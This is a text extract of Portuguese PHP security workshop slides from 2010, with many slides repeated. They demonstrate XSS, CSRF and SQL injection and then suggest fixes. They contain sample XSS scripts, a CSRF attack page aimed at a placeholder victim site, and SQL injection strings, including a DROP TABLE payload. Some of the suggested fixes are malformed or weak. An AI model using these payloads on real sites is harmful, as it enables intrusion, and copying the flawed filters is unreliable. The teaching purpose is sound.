g) XSS - Cross Site Scripting
                                1)   <script> alert ('Ataque XSS')</script>
                                2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>




                                                                                    Abril 2010
22



g) XSS - Cross Site Scripting
                                1)   <script> alert ('Ataque XSS')</script>
                                2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>
                                3) <script>document.location="http://www.php.net";</script>




                                                                                    Abril 2010
22



g) XSS - Cross Site Scripting
                                1)   <script> alert ('Ataque XSS')</script>
                                2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>
                                3) <script>document.location="http://www.php.net";</script>




                                                  Solução
                                                       html_entities()
                                                       strip_tags()                 Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php




                                                                                   Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php




                                                                                   Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php



                       Atacante




                                                                                   Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php
      http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23



                       Atacante




                                                                                      Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php
      http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23



                       Atacante




                                                                                      Abril 2010
23


h ) - CSRF (XSRF) – Cross Site Request Forgery

      ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP
      php_csrf.htm                                       php_CSRF.php
      http://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23



                       Atacante




                                                                                      Abril 2010
24


h ) - CSRF (XSRF) – Cross Site Request Forgery

Atacante – desenvolve o script e coloca-o num servidor
 //csrf_ataque.html
 <html>
 <head>
 <title>CSRF ATAQUE</title>
 </head>
 <body>
 <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas
 %20crackados&amp;Quantidade=23"><img
  style="border: 0px solid ; width: 115px; height: 61px;"
  alt="XSRF" src="php-med-trans.png"></a>
 </body>
 </html>




                                                                       Abril 2010
24


h ) - CSRF (XSRF) – Cross Site Request Forgery

Atacante – desenvolve o script e coloca-o num servidor
 //csrf_ataque.html
 <html>
 <head>
 <title>CSRF ATAQUE</title>
 </head>
 <body>
 <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas
 %20crackados&amp;Quantidade=23"><img
  style="border: 0px solid ; width: 115px; height: 61px;"
  alt="XSRF" src="php-med-trans.png"></a>
 </body>
 </html>




                                                                       Abril 2010
24


h ) - CSRF (XSRF) – Cross Site Request Forgery

Atacante – desenvolve o script e coloca-o num servidor
 //csrf_ataque.html
 <html>
 <head>
 <title>CSRF ATAQUE</title>
 </head>
 <body>
 <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas
 %20crackados&amp;Quantidade=23"><img
  style="border: 0px solid ; width: 115px; height: 61px;"
  alt="XSRF" src="php-med-trans.png"></a>
 </body>
 </html>

                                                          Solução
                                                          -Colocar tokens que se propaguem na aplicação



                                                                                                          Abril 2010
25




i) SQL injection
                           “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
                            “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php




                                                                                        Abril 2010
25




i) SQL injection
                           “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
                            “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php
                                                         1’ or ‘1’=‘1
                                                         %
                                                         ' or 1=1 –
                                                         ......




                                                                                        Abril 2010
25




i) SQL injection
                           “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
php_sqlinjection_sel.php
                            “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
php_sqli_sel_sq2.php
                                                          1’ or ‘1’=‘1
                                                          %
                                                          ' or 1=1 –
                                                          ......




                           “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”




                                                                                        Abril 2010
25




   i) SQL injection
                                      “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
   php_sqlinjection_sel.php
                                       “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
   php_sqli_sel_sq2.php
                                                                     1’ or ‘1’=‘1
                                                                     %
                                                                     ' or 1=1 –
                                                                     ......




                                      “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”
                     Activar selecção nome +password em
                           php_sqlinjection_sel.php
Aplicar em nome
      ‘ or 1=1 –
xxx; Drop table -- !!!

                                                                                                   Abril 2010
25




   i) SQL injection
                                      “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”
   php_sqlinjection_sel.php
                                       “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”
   php_sqli_sel_sq2.php
                                                                     1’ or ‘1’=‘1
                                                                     %
                                                                     ' or 1=1 –
                                                                     ......
    SQL_Inject_me



                                      “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”
                     Activar selecção nome +password em
                           php_sqlinjection_sel.php
Aplicar em nome
      ‘ or 1=1 –
xxx; Drop table -- !!!

                                                                                                   Abril 2010
26




i) SQL injection -                 Solução
Limitar comprimento dos campos no formulário:




                                                Abril 2010
26




i) SQL injection -                 Solução
                                                Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:   Password<br/><input type="password" name="password" maxlength="10"/><br/>




                                                                                                                 Abril 2010
26




i) SQL injection -                   Solução
                                                  Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:     Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:   is_int()
                              gettype()     if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                              intval()      if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                              settype()
                                            if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                              strlen()
                              strtotime()
                              ….




                                                                                                                        Abril 2010
26




i) SQL injection -                   Solução
                                                  Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:     Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:   is_int()
                              gettype()     if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                              intval()      if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                              settype()
                                            if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                              strlen()
                              strtotime()
                              ….

 Limitar a utilização de caracteres/expressões SQL




                                                                                                                        Abril 2010
26




i) SQL injection -                    Solução
                                                    Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:       Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:    is_int()
                               gettype()      if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                               intval()       if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                               settype()
                                              if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                               strlen()
                               strtotime()
                               ….

 Limitar a utilização de caracteres/expressões SQL
          $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);




                                                                                                                          Abril 2010
26




i) SQL injection -                    Solução
                                                    Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:       Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:    is_int()
                               gettype()      if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                               intval()       if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                               settype()
                                              if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                               strlen()
                               strtotime()
                               ….

 Limitar a utilização de caracteres/expressões SQL
          $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);


 Efectuar o “escaping” de variáveis




                                                                                                                          Abril 2010
26




i) SQL injection -                    Solução
                                                    Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:       Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:    is_int()
                               gettype()      if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                               intval()       if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                               settype()
                                              if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                               strlen()
                               strtotime()
                               ….

 Limitar a utilização de caracteres/expressões SQL
          $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);


 Efectuar o “escaping” de variáveis
             sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).

                                     Ex: php_sqlinjection_sel1a.php  activar escaping



                                                                                                                          Abril 2010
26




i) SQL injection -                       Solução
                                                        Nome<br/><input type="text" name="nome" maxlength="15"/><br/>
Limitar comprimento dos campos no formulário:           Password<br/><input type="password" name="password" maxlength="10"/><br/>

Validação do tipo de input:       is_int()
                                  gettype()       if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos);
                                  intval()        if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos);
                                  settype()
                                                  if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };
                                  strlen()
                                  strtotime()
                                  ….

 Limitar a utilização de caracteres/expressões SQL
            $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql);


 Efectuar o “escaping” de variáveis
             sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).

                                        Ex: php_sqlinjection_sel1a.php  activar escaping
     Utilizar declarações (SQL)
                                           EX: script php_sqlinjection_sel1.php

                                                                                                                              Abril 2010
27


Segurança como um todo – o que fazer?

Como proteger das vulnerabilidades PHP?

Do ponto de vista do administrador do sistema:

Faça Upgrade para PHP 5.2 - elimina muitos dos problemas de segurança do PHP e permite usar APIs mais seguras ,(ex: PDO),
Teste as aplicações sempre que use novas versões do PHP,
Faça um scanning às aplicações em uso,
Considere a utilização da seguinte configuração em PHP:
      register_globals (deve estar off),
      allow_url_fopen (deve estar off),
      magic_quotes_gpc (deve estar off),
      open_basedir (deve estar on e configurada correctamente),



                                                                                                               Abril 2010
28


     Segurança como um todo – o que fazer?

     Como proteger das vulnerabilidades PHP ?
     Do ponto de vista do programador:
     Migrar urgentemente a aplicação para PHP 5.2 ou superior .
     Para evitar as questões anteriores:
             Programar com a última versão do PHP e com configuração “hardned”
             Validar todo o input de acordo com o tipo de variável atribuída
             Codificar todo o input utilizando htmlentities() ou mecanismos similares para evitar ataques XSS
             Migrar o interface de dados para PDO
             Não usar input fornecido por utilizadores que usem funções de ficheiros de forma a evitar ataques de inclusão de ficheiros
     Teste as suas aplicações com ferramentas como WebScarab, Firefox's Web Developer Toolbar, Greasemonkey and the XSS Assistant




           Adaptado de http://www.sans.org/top20/?portal=5e4388309c999823b11cf5556616bd46#s1


                                                                                                                              Abril 2010

More Related Content

Viewers also liked

Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Gustavo Neves
 
5 estratégias para dominar o Facebook em 2014
5 estratégias para dominar o Facebook em 20145 estratégias para dominar o Facebook em 2014
5 estratégias para dominar o Facebook em 2014Camila Porto
 
Palestra As Diferenças no marketing digital nos EUA e no Brasil: o que realme...
Palestra As Diferenças no marketing digital nos EUA e no Brasil: o que realme...Palestra As Diferenças no marketing digital nos EUA e no Brasil: o que realme...
Palestra As Diferenças no marketing digital nos EUA e no Brasil: o que realme...Conrado Adolpho
 
Crowdsourcing & Crowdfunding 2014
Crowdsourcing & Crowdfunding 2014 Crowdsourcing & Crowdfunding 2014
Crowdsourcing & Crowdfunding 2014 Pedro Caramez
 
Operational Analytics Fórum | INDEG-IUL ISCTE Executive Education
Operational Analytics Fórum | INDEG-IUL ISCTE Executive EducationOperational Analytics Fórum | INDEG-IUL ISCTE Executive Education
Operational Analytics Fórum | INDEG-IUL ISCTE Executive EducationINDEG-ISCTE Executive Education
 
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael JaquesPHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael JaquesRafael Jaques
 
Material da Ana Tex
Material da Ana TexMaterial da Ana Tex
Material da Ana TexTurbotex
 
Conceitos básicos de AEDS
Conceitos básicos de AEDSConceitos básicos de AEDS
Conceitos básicos de AEDSPablo Silva
 
Assembly para pc-25paginas
Assembly para pc-25paginasAssembly para pc-25paginas
Assembly para pc-25paginasMikeNandes
 
Slide Aula - Curso CakePHP
Slide Aula - Curso CakePHPSlide Aula - Curso CakePHP
Slide Aula - Curso CakePHPRangel Javier
 
Dicas para aumentar a performance de um software PHP
Dicas para aumentar a performance de um software PHPDicas para aumentar a performance de um software PHP
Dicas para aumentar a performance de um software PHPAlmir Neto
 
Glosario de qbasic liliana
Glosario de qbasic lilianaGlosario de qbasic liliana
Glosario de qbasic lilianakhjhjhjh
 
Análise assintótica
Análise assintóticaAnálise assintótica
Análise assintóticaPablo Silva
 
CakePHP com sotaque brasileiro
CakePHP com sotaque brasileiroCakePHP com sotaque brasileiro
CakePHP com sotaque brasileiroJuan Basso
 
C# .NET - Um overview da linguagem
C# .NET - Um overview da linguagem C# .NET - Um overview da linguagem
C# .NET - Um overview da linguagem Claudson Oliveira
 

Viewers also liked (20)

Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!
 
5 estratégias para dominar o Facebook em 2014
5 estratégias para dominar o Facebook em 20145 estratégias para dominar o Facebook em 2014
5 estratégias para dominar o Facebook em 2014
 
Palestra As Diferenças no marketing digital nos EUA e no Brasil: o que realme...
Palestra As Diferenças no marketing digital nos EUA e no Brasil: o que realme...Palestra As Diferenças no marketing digital nos EUA e no Brasil: o que realme...
Palestra As Diferenças no marketing digital nos EUA e no Brasil: o que realme...
 
Crowdsourcing & Crowdfunding 2014
Crowdsourcing & Crowdfunding 2014 Crowdsourcing & Crowdfunding 2014
Crowdsourcing & Crowdfunding 2014
 
Operational Analytics Fórum | INDEG-IUL ISCTE Executive Education
Operational Analytics Fórum | INDEG-IUL ISCTE Executive EducationOperational Analytics Fórum | INDEG-IUL ISCTE Executive Education
Operational Analytics Fórum | INDEG-IUL ISCTE Executive Education
 
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael JaquesPHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
 
Material da Ana Tex
Material da Ana TexMaterial da Ana Tex
Material da Ana Tex
 
Introdução ao PHP
Introdução ao PHPIntrodução ao PHP
Introdução ao PHP
 
Recursividade
RecursividadeRecursividade
Recursividade
 
Conceitos básicos de AEDS
Conceitos básicos de AEDSConceitos básicos de AEDS
Conceitos básicos de AEDS
 
Assembly para pc-25paginas
Assembly para pc-25paginasAssembly para pc-25paginas
Assembly para pc-25paginas
 
Slide Aula - Curso CakePHP
Slide Aula - Curso CakePHPSlide Aula - Curso CakePHP
Slide Aula - Curso CakePHP
 
Dicas para aumentar a performance de um software PHP
Dicas para aumentar a performance de um software PHPDicas para aumentar a performance de um software PHP
Dicas para aumentar a performance de um software PHP
 
Glosario de qbasic liliana
Glosario de qbasic lilianaGlosario de qbasic liliana
Glosario de qbasic liliana
 
PROGRAMAS QBASIC
PROGRAMAS QBASICPROGRAMAS QBASIC
PROGRAMAS QBASIC
 
Análise assintótica
Análise assintóticaAnálise assintótica
Análise assintótica
 
CakePHP com sotaque brasileiro
CakePHP com sotaque brasileiroCakePHP com sotaque brasileiro
CakePHP com sotaque brasileiro
 
Apostila cobol
Apostila cobolApostila cobol
Apostila cobol
 
Funções em C
Funções em CFunções em C
Funções em C
 
C# .NET - Um overview da linguagem
C# .NET - Um overview da linguagem C# .NET - Um overview da linguagem
C# .NET - Um overview da linguagem
 

Similar to Segurança PHP Workshop

Owasp@iscte iul ferramentas-analise_vulnerabilidades
Owasp@iscte iul ferramentas-analise_vulnerabilidadesOwasp@iscte iul ferramentas-analise_vulnerabilidades
Owasp@iscte iul ferramentas-analise_vulnerabilidadesCarlos Serrao
 
Ferramentas De Auditoria De Wa Apresentacao
Ferramentas De Auditoria De Wa ApresentacaoFerramentas De Auditoria De Wa Apresentacao
Ferramentas De Auditoria De Wa Apresentacaonfteodoro
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasMagno Logan
 
Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger. Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger. Clavis Segurança da Informação
 
Webinar sobre-ferramentas-e-técnicas-para-auditorias-teste-de-invasão
Webinar sobre-ferramentas-e-técnicas-para-auditorias-teste-de-invasãoWebinar sobre-ferramentas-e-técnicas-para-auditorias-teste-de-invasão
Webinar sobre-ferramentas-e-técnicas-para-auditorias-teste-de-invasãoClavis Segurança da Informação
 
"Atacando e Defendendo Aplicações Web" por Rafael Soares Ferreira, Sócio-Dire...
"Atacando e Defendendo Aplicações Web" por Rafael Soares Ferreira, Sócio-Dire..."Atacando e Defendendo Aplicações Web" por Rafael Soares Ferreira, Sócio-Dire...
"Atacando e Defendendo Aplicações Web" por Rafael Soares Ferreira, Sócio-Dire...SegInfo
 
Dream Report com InduSoft Web Studio
Dream Report com InduSoft Web StudioDream Report com InduSoft Web Studio
Dream Report com InduSoft Web StudioAVEVA
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012Marcio Cunha
 
Administração de portais
Administração de portaisAdministração de portais
Administração de portaisFelipe Perin
 
F1502 p iman3-pt_v3.8_l
F1502 p iman3-pt_v3.8_lF1502 p iman3-pt_v3.8_l
F1502 p iman3-pt_v3.8_lconfidencial
 
Quando o planejamento da infraestrutura leva ao sucesso
Quando o planejamento da infraestrutura leva ao sucessoQuando o planejamento da infraestrutura leva ao sucesso
Quando o planejamento da infraestrutura leva ao sucessoIvan Rosolen
 
Aula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação WebAula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação WebMatheus Fidelis
 
OWASP @ ISCTE-IUL, OWASP Top 10 2010
OWASP @ ISCTE-IUL, OWASP Top 10 2010OWASP @ ISCTE-IUL, OWASP Top 10 2010
OWASP @ ISCTE-IUL, OWASP Top 10 2010Carlos Serrao
 
OWASP @ ISCTE-IUL - OWASP Top 10 (v2010)
OWASP @ ISCTE-IUL - OWASP Top 10 (v2010)OWASP @ ISCTE-IUL - OWASP Top 10 (v2010)
OWASP @ ISCTE-IUL - OWASP Top 10 (v2010)Carlos Serrao
 

Similar to Segurança PHP Workshop (20)

Owasp@iscte iul ferramentas-analise_vulnerabilidades
Owasp@iscte iul ferramentas-analise_vulnerabilidadesOwasp@iscte iul ferramentas-analise_vulnerabilidades
Owasp@iscte iul ferramentas-analise_vulnerabilidades
 
Ferramentas De Auditoria De Wa Apresentacao
Ferramentas De Auditoria De Wa ApresentacaoFerramentas De Auditoria De Wa Apresentacao
Ferramentas De Auditoria De Wa Apresentacao
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
 
Web Sphere
Web SphereWeb Sphere
Web Sphere
 
Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger. Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
 
Workshop Riosoft Auditoria Teste de Invasão(pentest)
Workshop Riosoft Auditoria Teste de Invasão(pentest)Workshop Riosoft Auditoria Teste de Invasão(pentest)
Workshop Riosoft Auditoria Teste de Invasão(pentest)
 
Webinar sobre-ferramentas-e-técnicas-para-auditorias-teste-de-invasão
Webinar sobre-ferramentas-e-técnicas-para-auditorias-teste-de-invasãoWebinar sobre-ferramentas-e-técnicas-para-auditorias-teste-de-invasão
Webinar sobre-ferramentas-e-técnicas-para-auditorias-teste-de-invasão
 
V SEGINFO - “Auditoria de Aplicações Web”
V SEGINFO - “Auditoria de Aplicações Web”V SEGINFO - “Auditoria de Aplicações Web”
V SEGINFO - “Auditoria de Aplicações Web”
 
Tratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com phpTratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com php
 
"Atacando e Defendendo Aplicações Web" por Rafael Soares Ferreira, Sócio-Dire...
"Atacando e Defendendo Aplicações Web" por Rafael Soares Ferreira, Sócio-Dire..."Atacando e Defendendo Aplicações Web" por Rafael Soares Ferreira, Sócio-Dire...
"Atacando e Defendendo Aplicações Web" por Rafael Soares Ferreira, Sócio-Dire...
 
Dream Report com InduSoft Web Studio
Dream Report com InduSoft Web StudioDream Report com InduSoft Web Studio
Dream Report com InduSoft Web Studio
 
Seguranca web Testday2012
Seguranca web Testday2012Seguranca web Testday2012
Seguranca web Testday2012
 
Administração de portais
Administração de portaisAdministração de portais
Administração de portais
 
F1502 p iman3-pt_v3.8_l
F1502 p iman3-pt_v3.8_lF1502 p iman3-pt_v3.8_l
F1502 p iman3-pt_v3.8_l
 
Quando o planejamento da infraestrutura leva ao sucesso
Quando o planejamento da infraestrutura leva ao sucessoQuando o planejamento da infraestrutura leva ao sucesso
Quando o planejamento da infraestrutura leva ao sucesso
 
Antar ferreira
Antar ferreiraAntar ferreira
Antar ferreira
 
Aula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação WebAula 1 - Testando a Segurança de Sua Aplicação Web
Aula 1 - Testando a Segurança de Sua Aplicação Web
 
OWASP @ ISCTE-IUL, OWASP Top 10 2010
OWASP @ ISCTE-IUL, OWASP Top 10 2010OWASP @ ISCTE-IUL, OWASP Top 10 2010
OWASP @ ISCTE-IUL, OWASP Top 10 2010
 
OWASP @ ISCTE-IUL - OWASP Top 10 (v2010)
OWASP @ ISCTE-IUL - OWASP Top 10 (v2010)OWASP @ ISCTE-IUL - OWASP Top 10 (v2010)
OWASP @ ISCTE-IUL - OWASP Top 10 (v2010)
 
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
OWASP Top 10 e aplicações .Net - Tech-Ed 2007OWASP Top 10 e aplicações .Net - Tech-Ed 2007
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
 

More from Carlos Serrao

Prevenir o "ransomware" - Guia da OWASP para prevenção do "ransomware"
Prevenir o "ransomware" - Guia da OWASP para prevenção do "ransomware"Prevenir o "ransomware" - Guia da OWASP para prevenção do "ransomware"
Prevenir o "ransomware" - Guia da OWASP para prevenção do "ransomware"Carlos Serrao
 
OWASP Mobile Top 10 - Principais Riscos no Desenvolvimento Seguro de Aplicaçõ...
OWASP Mobile Top 10 - Principais Riscos no Desenvolvimento Seguro de Aplicaçõ...OWASP Mobile Top 10 - Principais Riscos no Desenvolvimento Seguro de Aplicaçõ...
OWASP Mobile Top 10 - Principais Riscos no Desenvolvimento Seguro de Aplicaçõ...Carlos Serrao
 
A OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a WebA OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a WebCarlos Serrao
 
Segurança e Privacidade em Redes Sociais
Segurança e Privacidade em Redes SociaisSegurança e Privacidade em Redes Sociais
Segurança e Privacidade em Redes SociaisCarlos Serrao
 
Segurança e Privacidade em Redes Sociais
Segurança e Privacidade em Redes SociaisSegurança e Privacidade em Redes Sociais
Segurança e Privacidade em Redes SociaisCarlos Serrao
 
OWASP e o desenvolvimento seguro de aplicações para a Web
OWASP e o desenvolvimento seguro de aplicações para a WebOWASP e o desenvolvimento seguro de aplicações para a Web
OWASP e o desenvolvimento seguro de aplicações para a WebCarlos Serrao
 
Principios básicos de segurança on-line
Principios básicos de segurança on-linePrincipios básicos de segurança on-line
Principios básicos de segurança on-lineCarlos Serrao
 
To DRM or not to DRM?
To DRM or not to DRM?To DRM or not to DRM?
To DRM or not to DRM?Carlos Serrao
 
OWASP presentation on FISTA2011
OWASP presentation on FISTA2011OWASP presentation on FISTA2011
OWASP presentation on FISTA2011Carlos Serrao
 
Análise de Vulnerabilidades em Aplicações na Web Nacional
Análise de Vulnerabilidades em Aplicações na Web NacionalAnálise de Vulnerabilidades em Aplicações na Web Nacional
Análise de Vulnerabilidades em Aplicações na Web NacionalCarlos Serrao
 
Segurança e Privacidade em Redes Sociais
Segurança e Privacidade em Redes SociaisSegurança e Privacidade em Redes Sociais
Segurança e Privacidade em Redes SociaisCarlos Serrao
 
OWASP, PT.OWASP, IBWAS'10 & Cia.
OWASP, PT.OWASP, IBWAS'10 & Cia.OWASP, PT.OWASP, IBWAS'10 & Cia.
OWASP, PT.OWASP, IBWAS'10 & Cia.Carlos Serrao
 
OWASP @ ISCTE-IUL, Criptografia em PHP
OWASP @ ISCTE-IUL, Criptografia em PHPOWASP @ ISCTE-IUL, Criptografia em PHP
OWASP @ ISCTE-IUL, Criptografia em PHPCarlos Serrao
 
OWASP @ ISCTE-IUL, OWASP e OWASP Portugal
OWASP @ ISCTE-IUL, OWASP e OWASP PortugalOWASP @ ISCTE-IUL, OWASP e OWASP Portugal
OWASP @ ISCTE-IUL, OWASP e OWASP PortugalCarlos Serrao
 
Apresentação OWASP - UBI, Covilhã
Apresentação OWASP - UBI, CovilhãApresentação OWASP - UBI, Covilhã
Apresentação OWASP - UBI, CovilhãCarlos Serrao
 
cTIC2009 - Segurança em Aplicações Web-based e RIA
cTIC2009 - Segurança em Aplicações Web-based e RIAcTIC2009 - Segurança em Aplicações Web-based e RIA
cTIC2009 - Segurança em Aplicações Web-based e RIACarlos Serrao
 
Apresentação do OWASP Portugal
Apresentação do OWASP PortugalApresentação do OWASP Portugal
Apresentação do OWASP PortugalCarlos Serrao
 

More from Carlos Serrao (20)

Prevenir o "ransomware" - Guia da OWASP para prevenção do "ransomware"
Prevenir o "ransomware" - Guia da OWASP para prevenção do "ransomware"Prevenir o "ransomware" - Guia da OWASP para prevenção do "ransomware"
Prevenir o "ransomware" - Guia da OWASP para prevenção do "ransomware"
 
OWASP Mobile Top 10 - Principais Riscos no Desenvolvimento Seguro de Aplicaçõ...
OWASP Mobile Top 10 - Principais Riscos no Desenvolvimento Seguro de Aplicaçõ...OWASP Mobile Top 10 - Principais Riscos no Desenvolvimento Seguro de Aplicaçõ...
OWASP Mobile Top 10 - Principais Riscos no Desenvolvimento Seguro de Aplicaçõ...
 
OWASP Mobile Top 10
OWASP Mobile Top 10OWASP Mobile Top 10
OWASP Mobile Top 10
 
A OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a WebA OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a Web
 
Segurança e Privacidade em Redes Sociais
Segurança e Privacidade em Redes SociaisSegurança e Privacidade em Redes Sociais
Segurança e Privacidade em Redes Sociais
 
Segurança e Privacidade em Redes Sociais
Segurança e Privacidade em Redes SociaisSegurança e Privacidade em Redes Sociais
Segurança e Privacidade em Redes Sociais
 
OWASP e o desenvolvimento seguro de aplicações para a Web
OWASP e o desenvolvimento seguro de aplicações para a WebOWASP e o desenvolvimento seguro de aplicações para a Web
OWASP e o desenvolvimento seguro de aplicações para a Web
 
Principios básicos de segurança on-line
Principios básicos de segurança on-linePrincipios básicos de segurança on-line
Principios básicos de segurança on-line
 
To DRM or not to DRM?
To DRM or not to DRM?To DRM or not to DRM?
To DRM or not to DRM?
 
OWASP presentation on FISTA2011
OWASP presentation on FISTA2011OWASP presentation on FISTA2011
OWASP presentation on FISTA2011
 
Análise de Vulnerabilidades em Aplicações na Web Nacional
Análise de Vulnerabilidades em Aplicações na Web NacionalAnálise de Vulnerabilidades em Aplicações na Web Nacional
Análise de Vulnerabilidades em Aplicações na Web Nacional
 
Segurança e Privacidade em Redes Sociais
